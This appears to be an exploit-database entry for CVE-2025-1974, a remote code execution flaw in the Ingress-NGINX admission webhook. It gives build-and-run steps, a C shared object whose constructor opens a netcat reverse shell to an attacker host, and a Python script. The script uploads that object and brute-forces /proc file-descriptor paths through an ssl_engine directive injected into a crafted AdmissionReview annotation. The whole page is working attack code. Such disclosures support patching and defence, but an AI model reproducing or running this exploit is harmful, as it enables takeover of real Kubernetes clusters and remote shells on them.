
4 changes to exploits/shellcodes/ghdb FortiOS SSL-VPN 7.4.4 - Insufficient Session Expiration & Cookie Reuse Ingress-NGINX 4.11.0 - Remote Code Execution (RCE) Microsoft Excel LTSC 2024 - Remote Code Execution (RCE)
173 lines
No EOL
6.4 KiB
Text
173 lines
No EOL
6.4 KiB
Text
# Exploit Title: Ingress-NGINX 4.11.0 - Remote Code Execution (RCE)
|
|
# Google Dork: N/A
|
|
# Date: 2025-06-19
|
|
# Exploit Author: Likhith Appalaneni
|
|
# Vendor Homepage: https://kubernetes.github.io/ingress-nginx/
|
|
# Software Link: https://github.com/kubernetes/ingress-nginx
|
|
# Version: ingress-nginx v4.11.0 on Kubernetes v1.29.0 (Minikube)
|
|
# Tested on: Ubuntu 24.04, Minikube vLatest, Docker vLatest
|
|
# CVE : CVE-2025-1974
|
|
|
|
1) Update the attacker ip and listening port in shell.c and Compile the shell payload:
|
|
gcc -fPIC -shared -o shell.so shell.c
|
|
|
|
2) Run the exploit:
|
|
python3 exploit.py
|
|
|
|
The exploit sends a crafted AdmissionRequest to the vulnerable Ingress-NGINX webhook and loads the shell.so to achieve code execution.
|
|
|
|
<---> shell.c <--->
|
|
|
|
#include <stdlib.h>
|
|
__attribute__((constructor)) void init() {
|
|
system("sh -c 'nc attacker-ip attacker-port -e /bin/sh'");
|
|
}
|
|
|
|
<---> shell.c <--->
|
|
<---> exploit.py <--->
|
|
|
|
import json
|
|
import requests
|
|
import threading
|
|
import time
|
|
import urllib3
|
|
import socket
|
|
import argparse
|
|
|
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|
|
|
def upload_shell_via_socket(file_path, target_host, target_port):
|
|
print("[*] Uploading shell.so via raw socket to keep FD open...")
|
|
try:
|
|
with open(file_path, "rb") as f:
|
|
data = f.read()
|
|
data += b"\x00" * (16384 - len(data) % 16384)
|
|
content_len = len(data) + 2024
|
|
|
|
payload = f"POST /fake/addr HTTP/1.1\r\nHost: {target_host}:{target_port}\r\nContent-Type: application/octet-stream\r\nContent-Length: {content_len}\r\n\r\n".encode("ascii") + data
|
|
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
sock.connect((target_host, target_port))
|
|
sock.sendall(payload)
|
|
print("[*] Payload sent, holding connection open for 220s...")
|
|
time.sleep(220)
|
|
sock.close()
|
|
except Exception as e:
|
|
print(f"[!] Upload failed: {e}")
|
|
|
|
def build_payload(pid, fd):
|
|
annotation = "http://x/#;" + ("}" * 3) + f"\nssl_engine /proc/{pid}/fd/{fd};\n#"
|
|
return {
|
|
"kind": "AdmissionReview",
|
|
"apiVersion": "admission.k8s.io/v1",
|
|
"request": {
|
|
"uid": "exploit-uid",
|
|
"kind": {
|
|
"group": "networking.k8s.io",
|
|
"version": "v1",
|
|
"kind": "Ingress"
|
|
},
|
|
"resource": {
|
|
"group": "networking.k8s.io",
|
|
"version": "v1",
|
|
"resource": "ingresses"
|
|
},
|
|
"requestKind": {
|
|
"group": "networking.k8s.io",
|
|
"version": "v1",
|
|
"kind": "Ingress"
|
|
},
|
|
"requestResource": {
|
|
"group": "networking.k8s.io",
|
|
"version": "v1",
|
|
"resource": "ingresses"
|
|
},
|
|
"name": "example-ingress",
|
|
"operation": "CREATE",
|
|
"userInfo": {
|
|
"username": "kube-review",
|
|
"uid": "d9c6bf40-e0e6-4cd9-a9f4-b6966020ed3d"
|
|
},
|
|
"object": {
|
|
"kind": "Ingress",
|
|
"apiVersion": "networking.k8s.io/v1",
|
|
"metadata": {
|
|
"name": "example-ingress",
|
|
"annotations": {
|
|
"nginx.ingress.kubernetes.io/auth-url": annotation
|
|
}
|
|
},
|
|
"spec": {
|
|
"ingressClassName": "nginx",
|
|
"rules": [
|
|
{
|
|
"host": "hello-world.com",
|
|
"http": {
|
|
"paths": [
|
|
{
|
|
"path": "/",
|
|
"pathType": "Prefix",
|
|
"backend": {
|
|
"service": {
|
|
"name": "web",
|
|
"port": { "number": 8080 }
|
|
}
|
|
}
|
|
}
|
|
]
|
|
}
|
|
}
|
|
]
|
|
}
|
|
},
|
|
"oldObject": None,
|
|
"dryRun": False,
|
|
"options": {
|
|
"kind": "CreateOptions",
|
|
"apiVersion": "meta.k8s.io/v1"
|
|
}
|
|
}
|
|
}
|
|
|
|
def send_requests(admission_url, pid_range, fd_range):
|
|
for pid in range(pid_range[0], pid_range[1]):
|
|
for fd in range(fd_range[0], fd_range[1]):
|
|
print(f"Trying /proc/{pid}/fd/{fd}")
|
|
payload = build_payload(pid, fd)
|
|
try:
|
|
resp = requests.post(
|
|
f"{admission_url}/networking/v1/ingresses",
|
|
headers={"Content-Type": "application/json"},
|
|
data=json.dumps(payload),
|
|
verify=False,
|
|
timeout=5
|
|
)
|
|
result = resp.json()
|
|
msg = result.get("response", {}).get("status", {}).get("message", "")
|
|
if "No such file" in msg or "Permission denied" in msg:
|
|
continue
|
|
print(f"[+] Interesting response at /proc/{pid}/fd/{fd}:\n{msg}")
|
|
except Exception as e:
|
|
print(f"[-] Error: {e}")
|
|
|
|
if __name__ == "__main__":
|
|
parser = argparse.ArgumentParser(description="Exploit CVE-2025-1974")
|
|
parser.add_argument("--upload-url", required=True, help="Upload URL (e.g., http://127.0.0.1:8080)")
|
|
parser.add_argument("--admission-url", required=True, help="Admission controller URL (e.g., https://127.0.0.1:8443)")
|
|
parser.add_argument("--shell", default="shell.so", help="Path to shell.so file")
|
|
parser.add_argument("--pid-start", type=int, default=26)
|
|
parser.add_argument("--pid-end", type=int, default=30)
|
|
parser.add_argument("--fd-start", type=int, default=1)
|
|
parser.add_argument("--fd-end", type=int, default=100)
|
|
args = parser.parse_args()
|
|
|
|
host = args.upload_url.split("://")[-1].split(":")[0]
|
|
port = int(args.upload_url.split(":")[-1])
|
|
|
|
upload_thread = threading.Thread(target=upload_shell_via_socket, args=(args.shell, host, port))
|
|
upload_thread.start()
|
|
time.sleep(3)
|
|
send_requests(args.admission_url, (args.pid_start, args.pid_end), (args.fd_start, args.fd_end))
|
|
upload_thread.join()
|
|
|
|
<---> exploit.py <---> |